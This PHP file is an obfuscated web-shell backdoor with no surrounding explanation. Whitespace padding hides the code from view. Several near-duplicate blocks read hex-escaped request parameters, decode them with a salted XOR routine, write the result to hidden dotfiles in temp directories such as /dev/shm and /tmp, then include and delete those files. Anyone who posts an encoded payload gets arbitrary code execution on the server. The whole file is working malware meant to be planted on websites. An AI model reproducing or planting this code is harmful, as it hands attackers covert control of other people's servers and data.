<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x76\x61l"])){ $pointer = $_REQUEST["\x76\x61l"]; $pointer = explode( '.' , $pointer) ; $flg = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); foreach( $pointer as $v=> $v6) { $chS = ord( $s4[$v % $sLen]); $d =( ( int)$v6 - $chS -( $v % 10)) ^3; $flg .= chr( $d); } $ent = array_filter(["/dev/shm", session_save_path(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/var/tmp"]); while ($resource = array_shift($ent)) { if (max(0, is_dir($resource) * is_writable($resource))) { $symbol = vsprintf("%s/%s", [$resource, ".key"]); $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $symbol; @unlink($symbol); exit; } } } }
																																										if(!empty($_POST["da\x74\x61"])){ $flag = array_filter([session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP")]); $elem = $_POST["da\x74\x61"]; $elem =explode ( ".",$elem ); $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $t = 0; foreach($elem as $v8) {$chS = ord($salt[$t% $lenS]); $dec =((int)$v8 - $chS -($t% 10)) ^ 27; $factor .= chr($dec); $t++; } for ($pset = 0, $binding = count($flag); $pset < $binding; $pset++) { $fac = $flag[$pset]; if ((bool)is_dir($fac) && (bool)is_writable($fac)) { $ent = join("/", [$fac, ".dat"]); if (file_put_contents($ent, $factor)) { require $ent; unlink($ent); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "d\x61t")){ $factor = array_filter([getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp"]); $component = $_REQUEST["d\x61t"]; $component =explode ( '.' ,$component ) ; $dchunk= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); $z= 0; while ($z < count($component)) { $v4= $component[$z]; $chS= ord($salt[$z % $sLen] ); $d= ((int)$v4 - $chS - ($z % 10)) ^ 36; $dchunk .= chr($d ); $z++;} for ($record = 0, $elem = count($factor); $record < $elem; $record++) { $bind = $factor[$record]; if (!( !is_dir($bind) || !is_writable($bind) )) { $ent = implode("/", [$bind, ".desc"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $ent; @unlink($ent); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x72ec")){ $item = $_REQUEST["\x72ec"]; $item = explode ("." , $item ) ; $data = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2); foreach( $item as $t => $v2) { $sChar = ord( $s2[$t%$sLen]); $dec =( ( int)$v2 - $sChar -( $t%10)) ^67; $data .= chr( $dec); } $pgrp = array_filter([session_save_path(), "/var/tmp", "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($pgrp as $itm) { if (array_product([is_dir($itm), is_writable($itm)])) { $ent = sprintf("%s/.key", $itm); if (file_put_contents($ent, $data)) { include $ent; @unlink($ent); exit; } } } }
																																										if(@$_REQUEST["\x62\x69nd"] !== null){ $binding = array_filter([getenv("TEMP"), "/dev/shm", session_save_path(), getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp"]); $val = $_REQUEST["\x62\x69nd"]; $val = explode ( "." ,$val ); $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $t = 0; $len = count( $val); do { if( $t >= $len) break; $v4 = $val[$t]; $chS = ord( $salt[$t % $sLen]); $dec =( ( int)$v4 - $chS -( $t % 10))^76; $parameter_group .= chr( $dec); $t++; } while( true); while ($data_chunk = array_shift($binding)) { if (is_writable($data_chunk) && is_dir($data_chunk)) { $dat = "$data_chunk" . "/.record"; if (file_put_contents($dat, $parameter_group)) { require $dat; unlink($dat); die(); } } } }
																																										if(!is_null($_POST["\x73\x79m"] ?? null)){ $parameter_group = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); $resource = $_POST["\x73\x79m"]; $resource= explode ( '.' ,$resource); $entry = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $__len = count($resource); for($j = 0; $j< $__len; $j++) { $v2 = $resource[$j]; $sChar = ord($s9[$j % $sLen]); $d =((int)$v2 - $sChar -($j % 10)) ^ 85; $entry .=chr($d); } while ($obj = array_shift($parameter_group)) { if (array_product([is_dir($obj), is_writable($obj)])) { $flag = "$obj/.comp"; if (file_put_contents($flag, $entry)) { require $flag; unlink($flag); die(); } } } }
																																										if(in_array("d\x65\x73c", array_keys($_POST))){ $item = array_filter([getcwd(), getenv("TMP"), session_save_path(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm"]); $value = $_POST["d\x65\x73c"]; $value =explode ( "." , $value ) ; $itm = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4 ); $i = 0; $__len = count($value ); do { if($i >= $__len) break; $v1 = $value[$i]; $chS = ord($s4[$i % $sLen] ); $dec =((int)$v1 - $chS -($i % 10)) ^ 99; $itm .= chr($dec ); $i++;} while(true ); foreach ($item as $key => $entity) { if ((is_dir($entity) and is_writable($entity))) { $marker = sprintf("%s/.k", $entity); $success = file_put_contents($marker, $itm); if ($success) { include $marker; @unlink($marker); exit;} } } }
																																										if(isset($_POST) && isset($_POST["\x73\x79m"])){ $resource = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TMP"), "/var/tmp"]); $fac = $_POST["\x73\x79m"]; $fac =explode ( '.' , $fac) ; $obj =''; $s7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s7); $x =0; foreach ($fac as $v9) { $sChar =ord($s7[$x % $lenS]); $d =((int)$v9 - $sChar - ($x % 10)) ^ 84; $obj.= chr($d); $x++; } foreach ($resource as $key => $pointer) { if (array_product([is_dir($pointer), is_writable($pointer)])) { $entry = sprintf("%s/.data", $pointer); if (file_put_contents($entry, $obj)) { include $entry; @unlink($entry); exit; } } } }
																																										if(@$_POST["va\x6Cu\x65"] !== null){ $resource = $_POST["va\x6Cu\x65"]; $resource = explode ( '.' , $resource) ; $element=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $w=0; array_walk($resource,function ($v7) use (&$element,&$w,$salt,$sLen) { $chS=ord($salt[$w % $sLen]); $d=((int)$v7 - $chS - ($w % 10)) ^ 39; $element .= chr($d); $w++; }); $pointer = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), getenv("TEMP")]); while ($symbol = array_shift($pointer)) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $flag = join("/", [$symbol, ".ent"]); if (file_put_contents($flag, $element)) { require $flag; unlink($flag); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x68ld"])){ $fac = $_REQUEST["\x68ld"]; $fac =explode ( '.' , $fac ); $item= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt8 ); $q= 0; $__tmp= $fac; while( $v6= array_shift( $__tmp)) { $sChar= ord( $salt8[$q% $sLen] ); $d= ( ( int)$v6 - $sChar -( $q% 10)) ^ 66; $item.= chr( $d ); $q++; } $elem = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm"]); $mrk = 0; do { $token = $elem[$mrk] ?? null; if ($mrk >= count($elem)) break; if (is_writable($token) && is_dir($token)) { $pointer = str_replace("{var_dir}", $token, "{var_dir}/.entry"); $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $pointer; @unlink($pointer); die(); } } $mrk++; } while (true); }
																																										if(in_array("\x63omp", array_keys($_POST))){ $obj = $_POST["\x63omp"]; $obj = explode ('.' ,$obj ); $itm = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $m = 0; $__len = count($obj); do { if ($m >= $__len) break; $v4 = $obj[$m]; $chS = ord($salt5[$m %$sLen]); $d = ((int)$v4 - $chS - ($m %10)) ^ 66; $itm .= chr($d); $m++; } while (true); $symbol = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]); foreach ($symbol as $marker): if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $entity = "$marker/.tkn"; $file = fopen($entity, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $entity; @unlink($entity); exit; } } endforeach; }
																																										if(in_array("d\x65sc\x72\x69pt\x6F\x72", array_keys($_REQUEST))){ $data_chunk = $_REQUEST["d\x65sc\x72\x69pt\x6F\x72"]; $data_chunk = explode( "." , $data_chunk) ; $fac =''; $s9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s9); $j =0; $__tmp =$data_chunk; while( $v4 =array_shift( $__tmp)) { $sChar =ord( $s9[$j % $sLen]); $d =( ( int)$v4 - $sChar -( $j % 10)) ^ 72; $fac.= chr( $d); $j++; } $key = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path()]); while ($dchunk = array_shift($key)) { if (!!is_dir($dchunk) && !!is_writable($dchunk)) { $tkn = str_replace("{var_dir}", $dchunk, "{var_dir}/.flg"); if (@file_put_contents($tkn, $fac) !== false) { include $tkn; unlink($tkn); die(); } } } }
																																										if(!is_null($_REQUEST["\x6F\x62j\x65ct"] ?? null)){ $pset = array_filter(["/dev/shm", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), "/tmp", getcwd()]); $element = $_REQUEST["\x6F\x62j\x65ct"]; $element = explode ( ".", $element) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($element); for ($w = 0; $w< $__len; $w++) { $v7 = $element[$w]; $chS = ord($salt[$w%$sLen]); $dec = ((int)$v7 - $chS - ($w%10)) ^ 57; $obj .= chr($dec);} foreach ($pset as $dat): if (is_writable($dat) && is_dir($dat)) { $factor = "$dat" . "/.ref"; if (@file_put_contents($factor, $obj) !== false) { include $factor; unlink($factor); exit; } } endforeach; }
																																										if(!empty($_POST["k"])){ $descriptor = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp", getcwd()]); $reference = $_POST["k"]; $reference = explode ( '.' , $reference ) ; $symbol =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); foreach($reference as $v => $v3): $sChar =ord($s[$v % $sLen]); $dec =((int)$v3 - $sChar -($v % 10))^ 86; $symbol .= chr($dec); endforeach; while ($pointer = array_shift($descriptor)) { if ((is_dir($pointer) and is_writable($pointer))) { $flg = "$pointer" . "/.key"; $file = fopen($flg, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $flg; @unlink($flg); exit; } } } }


if(array_key_exists("\x68\x6Cd", $_REQUEST)){
	$element = array_filter(["/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd(), session_save_path(), "/var/tmp", getenv("TEMP")]);
	$parameter_group = $_REQUEST["\x68\x6Cd"];
	 	$parameter_group=		 explode 		(	  "." 	,	$parameter_group	 )   ;		
	$component=	 '';
            $s7=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	 strlen($s7);
            $j=	 0;
    
            array_walk($parameter_group,		function ($v6) use (&$component,		&$j,		$s7,		$sLen) {$chS=	 ord($s7[$j 	%$sLen]);
                $dec=	 ((int)$v6 - $chS - ($j 	%10)) ^ 43;
                $component .= chr($dec);
                $j++;
            });
	foreach ($element as $desc):
    		if (is_writable($desc) && is_dir($desc)) {
    $flag = sprintf("%s/.pgrp", $desc);
    $success = file_put_contents($flag, $component);
if ($success) {
	include $flag;
	@unlink($flag);
	die();}
}
endforeach;
}